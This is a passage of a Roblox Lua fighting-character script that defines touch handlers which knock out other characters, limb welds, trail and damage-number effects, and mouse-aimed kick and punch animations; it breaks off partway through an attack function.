| 1244 | RightArm.Reflectance = 0.5 | |
| 1245 | LeftLeg.Transparency = 0.5 | |
| 1246 | LeftLeg.Reflectance = 0.5 | |
| 1247 | Head.Touched:connect(function(hit) | |
| 1248 | if hit.Parent:findFirstChild("Humanoid")then
| |
| 1249 | game:GetService("Chat"):Chat(Head,"Don't play soccer with me.",0)
| |
| 1250 | for i,v in pairs(hit.Parent:GetChildren())do | |
| 1251 | if v:IsA"Humanoid" then | |
| 1252 | game:GetService("Chat"):Chat(Head,"Cya",0)
| |
| 1253 | v:Destroy() | |
| 1254 | elseif v:IsA"Part" then | |
| 1255 | game:GetService("Chat"):Chat(v.Parent.Head,"UGH!MY BONES!",2)
| |
| 1256 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
| 1257 | v.RotVelocity = v.Position - v.Velocity | |
| 1258 | v:Remove() | |
| 1259 | end end end | |
| 1260 | end) | |
| 1261 | Torso.Touched:connect(function(hit) | |
| 1262 | if hit.Parent:findFirstChild("Humanoid")then
| |
| 1263 | game:GetService("Chat"):Chat(Head,"Hugging me? I'm like a ghost.",0)
| |
| 1264 | for i,v in pairs(hit.Parent:GetChildren())do | |
| 1265 | if v:IsA"Humanoid" then | |
| 1266 | game:GetService("Chat"):Chat(Head,"That was too easy.",0)
| |
| 1267 | v:Destroy() | |
| 1268 | elseif v:IsA"Part" then | |
| 1269 | game:GetService("Chat"):Chat(v.Parent.Head,"OW!",2)
| |
| 1270 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
| 1271 | v.RotVelocity = v.Position - v.Velocity | |
| 1272 | v:Remove() | |
| 1273 | end end end | |
| 1274 | end) | |
| 1275 | RightArm.Touched:connect(function(hit) | |
| 1276 | game:GetService("Chat"):Chat(Head,"My skills are superior.",0)
| |
| 1277 | if hit.Parent:findFirstChild("Humanoid")then
| |
| 1278 | for i,v in pairs(hit.Parent:GetChildren())do | |
| 1279 | if v:IsA"Humanoid" then | |
| 1280 | game:GetService("Chat"):Chat(Head,"Fly now...",0)
| |
| 1281 | v:Destroy() | |
| 1282 | elseif v:IsA"Part" then | |
| 1283 | game:GetService("Chat"):Chat(v.Parent.Head,"AH!MY BONES!",2)
| |
| 1284 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
| 1285 | v.RotVelocity = v.Position - v.Velocity | |
| 1286 | v:Remove() | |
| 1287 | end end end | |
| 1288 | end) | |
| 1289 | LeftArm.Touched:connect(function(hit) | |
| 1290 | game:GetService("Chat"):Chat(Head,"Check your skills.",0)
| |
| 1291 | if hit.Parent:findFirstChild("Humanoid")then
| |
| 1292 | for i,v in pairs(hit.Parent:GetChildren())do | |
| 1293 | if v:IsA"Humanoid" then | |
| 1294 | game:GetService("Chat"):Chat(Head,"You must be mistaken.",0)
| |
| 1295 | v:Destroy() | |
| 1296 | elseif v:IsA"Part" then | |
| 1297 | game:GetService("Chat"):Chat(v.Parent.Head,"AOUGH!",2)
| |
| 1298 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
| 1299 | v.RotVelocity = v.Position - v.Velocity | |
| 1300 | v:Remove() | |
| 1301 | end end end | |
| 1302 | end) | |
| 1303 | LeftLeg.Touched:connect(function(hit) | |
| 1304 | if hit.Parent:findFirstChild("Humanoid")then
| |
| 1305 | for i,v in pairs(hit.Parent:GetChildren())do | |
| 1306 | if v:IsA"Humanoid" then | |
| 1307 | game:GetService("Chat"):Chat(Head,"Nice,Continuing the kicking game.",0)
| |
| 1308 | v:Destroy() | |
| 1309 | elseif v:IsA"Part" then | |
| 1310 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
| 1311 | v.RotVelocity = v.Position - v.Velocity | |
| 1312 | v.Transparency = 0.5 | |
| 1313 | end end end | |
| 1314 | end) | |
| 1315 | RightLeg.Touched:connect(function(hit) | |
| 1316 | if hit.Parent:findFirstChild("Humanoid")then
| |
| 1317 | for i,v in pairs(hit.Parent:GetChildren())do | |
| 1318 | if v:IsA"Humanoid" then | |
| 1319 | game:GetService("Chat"):Chat(Head,"Nice try.",0)
| |
| 1320 | v:Destroy() | |
| 1321 | elseif v:IsA"Part" then | |
| 1322 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
| 1323 | v.RotVelocity = v.Position - v.Velocity | |
| 1324 | v.Transparency = 0.5 | |
| 1325 | end end end | |
| 1326 | end) | |
| 1327 | function Part(Parent, Anchor, Collide, Tran, Ref, Color, X, Y, Z, Break) | |
| 1328 | local p = Instance.new("Part")
| |
| 1329 | p.formFactor = "Custom" | |
| 1330 | p.Anchored = Anchor | |
| 1331 | p.CanCollide = Collide | |
| 1332 | p.Transparency = Tran | |
| 1333 | p.Reflectance = Ref | |
| 1334 | p.BrickColor = BrickColor.new(Color) | |
| 1335 | local pie = Instance.new("PointLight", p)
| |
| 1336 | pie.Range = 10 | |
| 1337 | pie.Shadows = true | |
| 1338 | pie.Brightness = 50 | |
| 1339 | for _, Surf in pairs(Surfaces) do | |
| 1340 | p[Surf] = "Smooth" | |
| 1341 | end | |
| 1342 | p.Size = Vector3.new(X, Y, Z) | |
| 1343 | if Break then | |
| 1344 | p:BreakJoints() | |
| 1345 | else p:MakeJoints() end | |
| 1346 | p.Parent = Parent | |
| 1347 | return p | |
| 1348 | end | |
| 1349 | ||
| 1350 | function Weld(p0, p1, x, y, z, a, b, c) | |
| 1351 | ||
| 1352 | local w = Instance.new("Weld")
| |
| 1353 | ||
| 1354 | w.Parent = p0 | |
| 1355 | ||
| 1356 | w.Part0 = p0 | |
| 1357 | ||
| 1358 | w.Part1 = p1 | |
| 1359 | ||
| 1360 | w.C1 = CFrame.new(x,y,z) * CFrame.Angles(a,b,c) | |
| 1361 | ||
| 1362 | return w | |
| 1363 | ||
| 1364 | end | |
| 1365 | ||
| 1366 | function ComputePos(pos1, pos2) | |
| 1367 | ||
| 1368 | local pos3 = Vector3.new(pos2.x, pos1.y, pos2.z) | |
| 1369 | ||
| 1370 | return CFrame.new(pos1, pos3) | |
| 1371 | ||
| 1372 | end | |
| 1373 | ||
| 1374 | function getHumanoid(c) | |
| 1375 | ||
| 1376 | local h = nil | |
| 1377 | ||
| 1378 | for i,v in pairs(c:children()) do | |
| 1379 | ||
| 1380 | if v:IsA("Humanoid") and c ~= char then
| |
| 1381 | ||
| 1382 | if v.Health > 0 then | |
| 1383 | ||
| 1384 | h = v | |
| 1385 | ||
| 1386 | end | |
| 1387 | ||
| 1388 | end | |
| 1389 | ||
| 1390 | end | |
| 1391 | ||
| 1392 | return h | |
| 1393 | ||
| 1394 | end | |
| 1395 | ||
| 1396 | function getHead(c, pos, m) | |
| 1397 | ||
| 1398 | local h = nil | |
| 1399 | ||
| 1400 | local n = nil | |
| 1401 | ||
| 1402 | t = c:findFirstChild("Torso")
| |
| 1403 | ||
| 1404 | if t ~= nil then | |
| 1405 | ||
| 1406 | n = t:findFirstChild("Neck")
| |
| 1407 | ||
| 1408 | end | |
| 1409 | ||
| 1410 | for i,v in pairs(c:children()) do | |
| 1411 | ||
| 1412 | if v.Name == "Head" then | |
| 1413 | ||
| 1414 | if (v.Position - pos).magnitude < m then | |
| 1415 | ||
| 1416 | h = v | |
| 1417 | ||
| 1418 | end | |
| 1419 | ||
| 1420 | end | |
| 1421 | ||
| 1422 | end | |
| 1423 | ||
| 1424 | return h, n | |
| 1425 | ||
| 1426 | end | |
| 1427 | ||
| 1428 | for i,v in pairs(char:children()) do | |
| 1429 | ||
| 1430 | if v.Name == Modelname then | |
| 1431 | ||
| 1432 | v:remove() | |
| 1433 | ||
| 1434 | end | |
| 1435 | ||
| 1436 | end | |
| 1437 | ||
| 1438 | torso = char.Torso | |
| 1439 | ||
| 1440 | neck = torso.Neck | |
| 1441 | ||
| 1442 | hum = char.Humanoid | |
| 1443 | ||
| 1444 | Rarm = char["Right Arm"] | |
| 1445 | ||
| 1446 | Larm = char["Left Arm"] | |
| 1447 | ||
| 1448 | Rleg = char["Right Leg"] | |
| 1449 | ||
| 1450 | Lleg = char["Left Leg"] | |
| 1451 | ||
| 1452 | LastHP = hum.Health | |
| 1453 | ||
| 1454 | function HpChange(newhp) | |
| 1455 | ||
| 1456 | if block and hum.Health > 0.1 then | |
| 1457 | ||
| 1458 | local dif = LastHP - newhp | |
| 1459 | ||
| 1460 | if dif > 0 then | |
| 1461 | ||
| 1462 | local h = LastHP - ((LastHP-newhp)/3) | |
| 1463 | ||
| 1464 | hum.Health = h | |
| 1465 | ||
| 1466 | wait() | |
| 1467 | ||
| 1468 | hum.Health = h | |
| 1469 | ||
| 1470 | end | |
| 1471 | ||
| 1472 | if dif > breakblock then | |
| 1473 | ||
| 1474 | block = false | |
| 1475 | ||
| 1476 | local a = Add.BP(torso) | |
| 1477 | ||
| 1478 | a.position = torso.Position | |
| 1479 | ||
| 1480 | local b = Add.BG(torso) | |
| 1481 | ||
| 1482 | b.cframe = CFrame.new(torso.Position, torso.CFrame * CFrame.new(0, 0, -5).p) | |
| 1483 | ||
| 1484 | wait(0.6) | |
| 1485 | ||
| 1486 | a:remove() | |
| 1487 | ||
| 1488 | b:remove() | |
| 1489 | ||
| 1490 | able = true | |
| 1491 | ||
| 1492 | end | |
| 1493 | ||
| 1494 | end | |
| 1495 | ||
| 1496 | LastHP = hum.Health | |
| 1497 | ||
| 1498 | end | |
| 1499 | ||
| 1500 | hum.HealthChanged:connect(HpChange) | |
| 1501 | ||
| 1502 | hc = Instance.new("Humanoid")
| |
| 1503 | ||
| 1504 | hc.Health = 0 | |
| 1505 | ||
| 1506 | hc.MaxHealth = 0 | |
| 1507 | ||
| 1508 | slash = Instance.new("Sound")
| |
| 1509 | ||
| 1510 | slash.SoundId = "rbxasset://sounds//swordslash.wav" | |
| 1511 | ||
| 1512 | slash.Volume = 0.8 | |
| 1513 | ||
| 1514 | slash.Pitch = 1.4 | |
| 1515 | ||
| 1516 | slash.Parent = Rarm | |
| 1517 | ||
| 1518 | hitsound = Instance.new("Sound")
| |
| 1519 | ||
| 1520 | hitsound.SoundId = "http://www.roblox.com/asset/?id=2801263" | |
| 1521 | ||
| 1522 | hitsound.Volume = 0.55 | |
| 1523 | ||
| 1524 | hitsound.Pitch = 2.1 | |
| 1525 | ||
| 1526 | hitsound.Parent = torso | |
| 1527 | ||
| 1528 | Mo = Instance.new("Model")
| |
| 1529 | ||
| 1530 | Mo.Name = Modelname | |
| 1531 | ||
| 1532 | RABrick = Part(Mo, false, false, 1, 0, "Black", 0.1, 0.1, 0.1, true) | |
| 1533 | ||
| 1534 | LABrick = Part(Mo, false, false, 1, 0, "Black", 0.1, 0.1, 0.1, true) | |
| 1535 | ||
| 1536 | RLBrick = Part(Mo, false, false, 1, 0, "Black", 0.1, 0.1, 0.1, true) | |
| 1537 | ||
| 1538 | LLBrick = Part(Mo, false, false, 1, 0, "Black", 0.1, 0.1, 0.1, true) | |
| 1539 | ||
| 1540 | RABW = Weld(torso, RABrick, -1.5, -0.5, 0, 0, 0, 0) | |
| 1541 | ||
| 1542 | LABW = Weld(torso, LABrick, 1.5, -0.5, 0, 0, 0, 0) | |
| 1543 | ||
| 1544 | RLBW = Weld(torso, RLBrick, -0.5, 1.2, 0, 0, 0, 0) | |
| 1545 | ||
| 1546 | LLBW = Weld(torso, LLBrick, 0.5, 1.2, 0, 0, 0, 0) | |
| 1547 | ||
| 1548 | RAW = Weld(RABrick, nil, 0, 0.5, 0, 0, 0, 0) | |
| 1549 | ||
| 1550 | LAW = Weld(LABrick, nil, 0, 0.5, 0, 0, 0, 0) | |
| 1551 | ||
| 1552 | RLW = Weld(RLBrick, nil, 0, 0.8, 0, 0, 0, 0) | |
| 1553 | ||
| 1554 | LLW = Weld(LLBrick, nil, 0, 0.8, 0, 0, 0, 0) | |
| 1555 | ||
| 1556 | TBricks = {}
| |
| 1557 | ||
| 1558 | for i, v in pairs({Rarm, Larm, Rleg, Lleg}) do
| |
| 1559 | ||
| 1560 | local p = Part(Mo, false, false, 1, 0, "Black", 0.9, 0.9, 0.8, true) | |
| 1561 | ||
| 1562 | Weld(v, p, 0, 0.7, 0, 0, 0, 0) | |
| 1563 | ||
| 1564 | table.insert(TBricks, {p, hurt = false, able = true})
| |
| 1565 | ||
| 1566 | end | |
| 1567 | ||
| 1568 | function startEff(part) | |
| 1569 | ||
| 1570 | effectOn = true | |
| 1571 | ||
| 1572 | local lastPoint = part.Position | |
| 1573 | ||
| 1574 | coroutine.resume(coroutine.create(function() | |
| 1575 | ||
| 1576 | while effectOn do | |
| 1577 | ||
| 1578 | wait() | |
| 1579 | ||
| 1580 | local mag = (lastPoint - part.Position).magnitude | |
| 1581 | ||
| 1582 | local p = Part(Mo, true, false, 0.5, 0.05, "Really black", 0.1, 0.1, mag+0.2, true) | |
| 1583 | ||
| 1584 | p.CFrame = CFrame.new(lastPoint, part.Position) * CFrame.new(0, 0, -mag/2) | |
| 1585 | ||
| 1586 | Instance.new("BlockMesh",p)
| |
| 1587 | ||
| 1588 | lastPoint = part.Position | |
| 1589 | ||
| 1590 | coroutine.resume(coroutine.create(function() | |
| 1591 | ||
| 1592 | for x=0.2,1,0.2 do | |
| 1593 | ||
| 1594 | wait() | |
| 1595 | ||
| 1596 | p.Transparency = x | |
| 1597 | ||
| 1598 | end | |
| 1599 | ||
| 1600 | p:remove() | |
| 1601 | ||
| 1602 | end)) | |
| 1603 | ||
| 1604 | end | |
| 1605 | ||
| 1606 | end)) | |
| 1607 | ||
| 1608 | end | |
| 1609 | ||
| 1610 | function endEff() | |
| 1611 | ||
| 1612 | effectOn = false | |
| 1613 | ||
| 1614 | end | |
| 1615 | ||
| 1616 | function ShowDMG(p, d) | |
| 1617 | ||
| 1618 | local mo = Instance.new("Model")
| |
| 1619 | ||
| 1620 | mo.Name = d | |
| 1621 | ||
| 1622 | local pa = Part(mo, false, true, 0.5, 0, "Really red", 0.8, 0.2, 0.8, true) | |
| 1623 | ||
| 1624 | pa.CFrame = CFrame.new(p.Position) | |
| 1625 | ||
| 1626 | pa.Name = "Head" | |
| 1627 | ||
| 1628 | local hah = hc:clone() | |
| 1629 | ||
| 1630 | hah.Parent = mo | |
| 1631 | ||
| 1632 | local bp = Add.BP(pa) | |
| 1633 | ||
| 1634 | bp.maxForce = Vector3.new(math.huge, math.huge, math.huge) | |
| 1635 | ||
| 1636 | bp.position = p.Position + Vector3.new(0, 2.5, 0) | |
| 1637 | ||
| 1638 | Add.BG(pa) | |
| 1639 | ||
| 1640 | coroutine.resume(coroutine.create(function() | |
| 1641 | ||
| 1642 | wait(0.2) | |
| 1643 | ||
| 1644 | mo.Parent = workspace | |
| 1645 | ||
| 1646 | wait(1.5) | |
| 1647 | ||
| 1648 | mo:remove() | |
| 1649 | ||
| 1650 | end)) | |
| 1651 | ||
| 1652 | end | |
| 1653 | ||
| 1654 | for i, v in pairs(TBricks) do | |
| 1655 | ||
| 1656 | v[1].Touched:connect(function(hit) | |
| 1657 | ||
| 1658 | local fig = hit.Parent | |
| 1659 | ||
| 1660 | H, T = getHumanoid(fig), fig:findFirstChild("Torso")
| |
| 1661 | ||
| 1662 | if H ~= nil and T ~= nil and v.hurt and v.able then | |
| 1663 | ||
| 1664 | hitsound:play() | |
| 1665 | ||
| 1666 | v.able = false | |
| 1667 | ||
| 1668 | local d = math.random(dmg[1], dmg[2]) | |
| 1669 | ||
| 1670 | local hed, ne = getHead(fig, v[1].Position, 2.5) | |
| 1671 | ||
| 1672 | if dmg[3] == "RoundHouse" and hed ~= nil then | |
| 1673 | ||
| 1674 | d = math.random(dmg[1]*2.4, dmg[2]*2.4) | |
| 1675 | ||
| 1676 | coroutine.resume(coroutine.create(function() | |
| 1677 | ||
| 1678 | if ne ~= nil then | |
| 1679 | ||
| 1680 | for i=0,60,20 do | |
| 1681 | ||
| 1682 | ne.C0 = necko * CFrame.Angles(math.rad(-i), 0, 0) | |
| 1683 | ||
| 1684 | wait() | |
| 1685 | ||
| 1686 | end | |
| 1687 | ||
| 1688 | for i=60,0,-20 do | |
| 1689 | ||
| 1690 | ne.C0 = necko * CFrame.Angles(math.rad(-i), 0, 0) | |
| 1691 | ||
| 1692 | wait() | |
| 1693 | ||
| 1694 | end | |
| 1695 | ||
| 1696 | ne.C0 = necko | |
| 1697 | ||
| 1698 | end | |
| 1699 | ||
| 1700 | end)) | |
| 1701 | ||
| 1702 | end | |
| 1703 | ||
| 1704 | H.Health = H.Health - d | |
| 1705 | ||
| 1706 | local xd = CFrame.new(v[1].Position, hit.Position) | |
| 1707 | ||
| 1708 | hit.Velocity = xd.lookVector * (d*2.3) | |
| 1709 | ||
| 1710 | ShowDMG(v[1], d) | |
| 1711 | ||
| 1712 | wait(0.34) | |
| 1713 | ||
| 1714 | v.able = true | |
| 1715 | ||
| 1716 | end | |
| 1717 | ||
| 1718 | end) | |
| 1719 | ||
| 1720 | end | |
| 1721 | ||
| 1722 | Mo.Parent = char | |
| 1723 | ||
| 1724 | RAWBattle = nil | |
| 1725 | ||
| 1726 | LAWBattle = nil | |
| 1727 | ||
| 1728 | function nilparts() | |
| 1729 | ||
| 1730 | LAW.Part1 = nil | |
| 1731 | ||
| 1732 | RAW.Part1 = nil | |
| 1733 | ||
| 1734 | RLW.Part1 = nil | |
| 1735 | ||
| 1736 | LLW.Part1 = nil | |
| 1737 | ||
| 1738 | LAW.C0 = CFrame.new(0, 0, 0) | |
| 1739 | ||
| 1740 | RLW.C0 = CFrame.new(0, 0, 0) | |
| 1741 | ||
| 1742 | LLW.C0 = CFrame.new(0, 0, 0) | |
| 1743 | ||
| 1744 | RAW.C0 = CFrame.new(0, 0, 0) | |
| 1745 | ||
| 1746 | end | |
| 1747 | ||
| 1748 | function attach() | |
| 1749 | ||
| 1750 | LAW.Part1 = Larm | |
| 1751 | ||
| 1752 | RLW.Part1 = Rleg | |
| 1753 | ||
| 1754 | LLW.Part1 = Lleg | |
| 1755 | ||
| 1756 | RAW.Part1 = Rarm | |
| 1757 | ||
| 1758 | LAW.C0 = CFrame.new(0, 0, 0) | |
| 1759 | ||
| 1760 | RLW.C0 = CFrame.new(0, 0, 0) | |
| 1761 | ||
| 1762 | LLW.C0 = CFrame.new(0, 0, 0) | |
| 1763 | ||
| 1764 | RAW.C0 = CFrame.new(0, 0, 0) | |
| 1765 | ||
| 1766 | end | |
| 1767 | ||
| 1768 | attacks = {
| |
| 1769 | ||
| 1770 | function(mouse) | |
| 1771 | ||
| 1772 | local Orig = torso.CFrame | |
| 1773 | ||
| 1774 | local MousePos = mouse.Hit.p | |
| 1775 | ||
| 1776 | local bg = Add.BG(torso) | |
| 1777 | ||
| 1778 | local bp = Add.BP(torso) | |
| 1779 | ||
| 1780 | bp.position = Orig.p | |
| 1781 | ||
| 1782 | local CF = ComputePos(Orig.p, MousePos) | |
| 1783 | ||
| 1784 | local CF2 = CF | |
| 1785 | ||
| 1786 | bg.cframe = CF2 | |
| 1787 | ||
| 1788 | attach() | |
| 1789 | ||
| 1790 | bp.position = CF * CFrame.new(0, 0, -1.5).p | |
| 1791 | ||
| 1792 | startEff(TBricks[3][1]) | |
| 1793 | ||
| 1794 | TBricks[3].hurt = true | |
| 1795 | ||
| 1796 | slash:play() | |
| 1797 | ||
| 1798 | dmg = dmgs.Kdmg | |
| 1799 | ||
| 1800 | for i = 0, 100, 100/4 do | |
| 1801 | ||
| 1802 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
| 1803 | ||
| 1804 | RLW.C0 = CFrame.Angles(0, 0, math.rad(i)) * CFrame.new(0, -i/200, 0) | |
| 1805 | ||
| 1806 | LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4)) | |
| 1807 | ||
| 1808 | RAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7)) | |
| 1809 | ||
| 1810 | LAW.C0 = CFrame.Angles(math.rad(i/6), 0, math.rad(-i/7)) | |
| 1811 | ||
| 1812 | CF2 = CF * CFrame.Angles(math.rad(i/4), math.rad(i), 0) | |
| 1813 | ||
| 1814 | bg.cframe = CF2 | |
| 1815 | ||
| 1816 | wait() | |
| 1817 | ||
| 1818 | end | |
| 1819 | ||
| 1820 | wait(0.1) | |
| 1821 | ||
| 1822 | TBricks[3].hurt = false | |
| 1823 | ||
| 1824 | for i = 100, 0, -100/5 do | |
| 1825 | ||
| 1826 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
| 1827 | ||
| 1828 | RLW.C0 = CFrame.Angles(0, 0, math.rad(i)) * CFrame.new(0, -i/150, 0) | |
| 1829 | ||
| 1830 | LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4)) | |
| 1831 | ||
| 1832 | RAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7)) | |
| 1833 | ||
| 1834 | LAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7)) | |
| 1835 | ||
| 1836 | CF2 = CF * CFrame.Angles(math.rad(i/4), math.rad(i), 0) | |
| 1837 | ||
| 1838 | bg.cframe = CF2 | |
| 1839 | ||
| 1840 | wait() | |
| 1841 | ||
| 1842 | end | |
| 1843 | ||
| 1844 | endEff() | |
| 1845 | ||
| 1846 | wait() | |
| 1847 | ||
| 1848 | nilparts() | |
| 1849 | ||
| 1850 | bg:remove() | |
| 1851 | ||
| 1852 | bp:remove() | |
| 1853 | ||
| 1854 | neck.C0 = necko | |
| 1855 | ||
| 1856 | end, | |
| 1857 | ||
| 1858 | function(mouse) | |
| 1859 | ||
| 1860 | local Orig = torso.CFrame | |
| 1861 | ||
| 1862 | local MousePos = mouse.Hit.p | |
| 1863 | ||
| 1864 | local bg = Add.BG(torso) | |
| 1865 | ||
| 1866 | local bp = Add.BP(torso) | |
| 1867 | ||
| 1868 | bp.position = Orig.p | |
| 1869 | ||
| 1870 | local CF = ComputePos(Orig.p, MousePos) | |
| 1871 | ||
| 1872 | local CF2 = CF | |
| 1873 | ||
| 1874 | bg.cframe = CF2 | |
| 1875 | ||
| 1876 | attach() | |
| 1877 | ||
| 1878 | bp.position = CF * CFrame.new(0, 0, -1.5).p | |
| 1879 | ||
| 1880 | TBricks[2].hurt = true | |
| 1881 | ||
| 1882 | startEff(TBricks[2][1]) | |
| 1883 | ||
| 1884 | slash:play() | |
| 1885 | ||
| 1886 | dmg = dmgs.Pdmg | |
| 1887 | ||
| 1888 | for i = 0, -90, -90/4 do | |
| 1889 | ||
| 1890 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
| 1891 | ||
| 1892 | RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4)) | |
| 1893 | ||
| 1894 | LLW.C0 = CFrame.Angles(0, 0, math.rad(i/4)) | |
| 1895 | ||
| 1896 | RAW.C0 = CFrame.Angles(0, 0, 0) | |
| 1897 | ||
| 1898 | LAW.C0 = CFrame.Angles(math.rad(-i), 0, math.rad(i)) | |
| 1899 | ||
| 1900 | CF2 = CF * CFrame.Angles(math.rad(i/8), math.rad(i), 0) | |
| 1901 | ||
| 1902 | bg.cframe = CF2 | |
| 1903 | ||
| 1904 | wait() | |
| 1905 | ||
| 1906 | end | |
| 1907 | ||
| 1908 | wait(0.07) | |
| 1909 | ||
| 1910 | TBricks[2].hurt = false | |
| 1911 | ||
| 1912 | endEff() | |
| 1913 | ||
| 1914 | startEff(TBricks[1][1]) | |
| 1915 | ||
| 1916 | TBricks[1].hurt = true | |
| 1917 | ||
| 1918 | bp.position = CF * CFrame.new(0, 0, -3).p | |
| 1919 | ||
| 1920 | slash:play() | |
| 1921 | ||
| 1922 | for i = -90, 0, 90/7 do | |
| 1923 | ||
| 1924 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-(i*2+90))) | |
| 1925 | ||
| 1926 | RAW.C0 = CFrame.Angles(math.rad(i-90), math.pi, math.rad(i-90)) | |
| 1927 | ||
| 1928 | LAW.C0 = CFrame.Angles(math.rad(-i), 0, math.rad(i)) | |
| 1929 | ||
| 1930 | CF2 = CF * CFrame.Angles(math.rad(i/8), math.rad(i*2+90), 0) | |
| 1931 | ||
| 1932 | bg.cframe = CF2 | |
| 1933 | ||
| 1934 | wait() | |
| 1935 | ||
| 1936 | end | |
| 1937 | ||
| 1938 | wait(0.07) | |
| 1939 | ||
| 1940 | TBricks[1].hurt = false | |
| 1941 | ||
| 1942 | for i = 0, -90, -90/5 do | |
| 1943 | ||
| 1944 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-(i+90))) | |
| 1945 | ||
| 1946 | RAW.C0 = CFrame.Angles(math.rad(i-90), math.pi, math.rad(i-90)) | |
| 1947 | ||
| 1948 | RLW.C0 = CFrame.Angles(0, 0, math.rad(i/4+23)) | |
| 1949 | ||
| 1950 | LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4-23)) | |
| 1951 | ||
| 1952 | CF2 = CF * CFrame.Angles(0, math.rad(i+90), 0) | |
| 1953 | ||
| 1954 | bg.cframe = CF2 | |
| 1955 | ||
| 1956 | wait() | |
| 1957 | ||
| 1958 | end | |
| 1959 | ||
| 1960 | endEff() | |
| 1961 | ||
| 1962 | wait() | |
| 1963 | ||
| 1964 | nilparts() | |
| 1965 | ||
| 1966 | bg:remove() | |
| 1967 | ||
| 1968 | bp:remove() | |
| 1969 | ||
| 1970 | neck.C0 = necko | |
| 1971 | ||
| 1972 | end, | |
| 1973 | ||
| 1974 | function(mouse) | |
| 1975 | ||
| 1976 | local Orig = torso.CFrame | |
| 1977 | ||
| 1978 | local MousePos = mouse.Hit.p | |
| 1979 | ||
| 1980 | local bg = Add.BG(torso) | |
| 1981 | ||
| 1982 | local bp = Add.BP(torso) | |
| 1983 | ||
| 1984 | bp.position = Orig.p | |
| 1985 | ||
| 1986 | local CF = ComputePos(Orig.p, MousePos) | |
| 1987 | ||
| 1988 | local CF2 = CF | |
| 1989 | ||
| 1990 | bg.cframe = CF2 | |
| 1991 | ||
| 1992 | attach() | |
| 1993 | ||
| 1994 | bp.position = CF * CFrame.new(0, 0, -1.5).p | |
| 1995 | ||
| 1996 | TBricks[4].hurt = true | |
| 1997 | ||
| 1998 | startEff(TBricks[4][1]) | |
| 1999 | ||
| 2000 | slash:play() | |
| 2001 | ||
| 2002 | dmg = dmgs.K2dmg | |
| 2003 | ||
| 2004 | for i = 0, -100, -100/4 do | |
| 2005 | ||
| 2006 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
| 2007 | ||
| 2008 | RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4)) | |
| 2009 | ||
| 2010 | LLW.C0 = CFrame.Angles(0, 0, math.rad(i)) | |
| 2011 | ||
| 2012 | RAW.C0 = CFrame.Angles(math.rad(-i/6), 0, math.rad(-i/7)) | |
| 2013 | ||
| 2014 | LAW.C0 = CFrame.Angles(math.rad(i/6), 0, math.rad(-i/7)) | |
| 2015 | ||
| 2016 | CF2 = CF * CFrame.Angles(math.rad(-i/5), math.rad(i), 0) | |
| 2017 | ||
| 2018 | bg.cframe = CF2 | |
| 2019 | ||
| 2020 | wait() | |
| 2021 | ||
| 2022 | end | |
| 2023 | ||
| 2024 | wait(0.1) | |
| 2025 | ||
| 2026 | bp.position = CF * CFrame.new(0, 0, -3).p | |
| 2027 | ||
| 2028 | TBricks[4].hurt = false | |
| 2029 | ||
| 2030 | endEff() | |
| 2031 | ||
| 2032 | startEff(TBricks[3][1]) | |
| 2033 | ||
| 2034 | TBricks[3].hurt = true | |
| 2035 | ||
| 2036 | local Cobalt11641, hipow12 = RLW.C0, LLW.C0 | |
| 2037 | ||
| 2038 | slash:play() | |
| 2039 | ||
| 2040 | for i = -100, -290, -190/5 do | |
| 2041 | ||
| 2042 | RLW.C0 = Cobalt11641 * CFrame.Angles(0, 0, math.rad(-i/3-(100/4))) | |
| 2043 | ||
| 2044 | LLW.C0 = CFrame.Angles(0, 0, math.rad((-i/3)-100)) | |
| 2045 | ||
| 2046 | CF2 = CF * CFrame.Angles(math.rad(100/5), math.rad(i), 0) | |
| 2047 | ||
| 2048 | bg.cframe = CF2 | |
| 2049 | ||
| 2050 | wait() | |
| 2051 | ||
| 2052 | end | |
| 2053 | ||
| 2054 | wait(0.1) | |
| 2055 | ||
| 2056 | bp.position = CF * CFrame.new(0, 0, -4.5).p | |
| 2057 | ||
| 2058 | TBricks[3].hurt = false | |
| 2059 | ||
| 2060 | Cobalt11641, hipow12 = RLW.C0, LLW.C0 | |
| 2061 | ||
| 2062 | for i = 0, -70, -70/3 do | |
| 2063 | ||
| 2064 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad((i*1.3)+100)) | |
| 2065 | ||
| 2066 | RLW.C0 = Cobalt11641 * CFrame.Angles(0, 0, math.rad(i*1.4)) | |
| 2067 | ||
| 2068 | LLW.C0 = hipow12 * CFrame.Angles(0, 0, 0) | |
| 2069 | ||
| 2070 | RAW.C0 = CFrame.Angles(0, 0, 0) | |
| 2071 | ||
| 2072 | LAW.C0 = CFrame.Angles(0, 0, 0) | |
| 2073 | ||
| 2074 | CF2 = CF * CFrame.Angles(0, math.rad(-290+i), 0) | |
| 2075 | ||
| 2076 | bg.cframe = CF2 | |
| 2077 | ||
| 2078 | wait() | |
| 2079 | ||
| 2080 | end | |
| 2081 | ||
| 2082 | endEff() | |
| 2083 | ||
| 2084 | wait() | |
| 2085 | ||
| 2086 | nilparts() | |
| 2087 | ||
| 2088 | bg:remove() | |
| 2089 | ||
| 2090 | bp:remove() | |
| 2091 | ||
| 2092 | neck.C0 = necko | |
| 2093 | ||
| 2094 | end, | |
| 2095 | ||
| 2096 | function(mouse) | |
| 2097 | ||
| 2098 | if mouse ~= nil then | |
| 2099 | ||
| 2100 | local Orig = torso.CFrame | |
| 2101 | ||
| 2102 | local MousePos = mouse.Hit.p | |
| 2103 | ||
